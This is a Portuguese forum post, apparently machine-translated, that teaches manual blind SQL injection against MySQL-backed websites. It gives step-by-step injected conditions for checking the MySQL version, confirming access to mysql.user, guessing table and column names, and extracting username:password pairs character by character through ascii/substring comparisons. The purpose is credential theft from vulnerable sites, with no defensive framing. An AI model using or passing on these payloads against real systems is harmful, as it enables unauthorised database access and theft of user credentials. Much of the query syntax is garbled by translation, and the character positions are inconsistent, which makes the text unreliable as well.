Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Blind SQL INJECTION

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Blind SQL INJECTION

    Vamos começar com coisas avançadas.

    Eu vou estar usando o nosso exemplo

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    quando executamos esse, nós vemos algumas páginas e artigos sobre essa página, imagens, etc ..

    então, quando queremos testá-lo para o ataque cego de injeção sql

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- este é sempre verdadeiro

    ea página carrega normalmente, isso é ok.

    agora o teste real

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isto é falso

    por isso, se algum texto, imagem ou parte do conteúdo está em falta na página voltou, então, que site é vulrnable a Blind SQL Injection.

    1) Obter a versão de MySQL

    para obter a versão em ataque cego usamos substring

    i.e

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 4

    este deve retornar TRUE se a versão do MySQL é 4.

    substituir 4 com 5, e se a consulta retornar TRUE então a versão é 5.

    i.e

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 5

    2) Teste se funciona subselect

    quando selecionar não funcionam, então usamos subselect

    i.e

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1) = 1

    se as cargas página, normalmente, em seguida, subselects trabalho.

    então vamos ver se temos acesso a mysql.user

    i.e

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione uma das mysql.user limite de 0,1) = 1

    se as cargas página, normalmente, temos acesso a mysql.user e depois podemos puxar alguns load_file usign password () função e OUTFILE.

    3). Confira os nomes de tabela e coluna

    Isso faz parte quando adivinhando é o melhor amigo

    ou seja

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione um dos usuários limite de 0,1) = 1 (com limite de 0,1 nossa consulta aqui retorna uma linha de dados, subselect causar retorna apenas 1 linha, isto é muito importante.)

    então, se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
    se você começar FALSE (algum artigo em falta), basta alterar o nome da tabela até que você acho que o caminho certo

    vamos dizer que descobrimos que o nome da tabela é usuários, agora o que precisamos é nome da coluna.

    o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar os nomes comuns para as colunas.

    i.e

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select substring (concat (1, senha), 1,1) de usuários limite de 0,1) = 1

    se a página é carregada normalmente sabemos que nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho)

    aqui nós mesclar uma coluna com a senha, então substring retorna o primeiro caractere (, 1,1)


    4). Puxar dados do banco de dados

    encontramos usuários tabela i username password colunas de modo que vamos puxar personagens a partir disso.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 80

    ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela de usuários.

    substring aqui retorna o primeiro caractere e um caractere de comprimento. ascii () converte um caractere que em valor ascii

    e depois compará-lo com maior simbol depois>.

    por isso, se o caractere ascii maior que 80, a página é carregada normalmente. (TRUE)

    continuamos a tentar até chegarmos falso.


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 95

    obtemos TRUE, manter incrementando


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 98

    VERDADEIRO novamente, maior

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99

    FALSO!

    para o primeiro caractere no nome de usuário é char (99). Usando o conversor de ascii sabemos que char (99) é 'c' carta.

    então vamos verificar o segundo personagem.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 2,1))> 99

    Note que eu estou mudado, para 1,1, 2,1 para obter o segundo personagem. (Agora ele retorna o segundo personagem, um personagem de comprimento)


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99

    TRUE, a página é carregada normalmente, mais elevados.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 107

    Número, FALSE inferiores.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 104

    TRUE, mais elevados.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 105

    FALSO!

    sabemos que o segundo personagem é char (105) e que é 'i'. Temos 'ci' até agora

    de modo a manter incrementando até chegar ao fim. (Quando> 0 retorna false sabemos que temos chegar ao fim).

    Existem algumas ferramentas para SQL Injection Blind, eu acho que SqlMap é o melhor, mas estou fazendo tudo manualmente,

    causa que te faz melhor SQL INJECTOR: D

    creditos: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... # ixzz1W4mBGk1H
X
Working...
X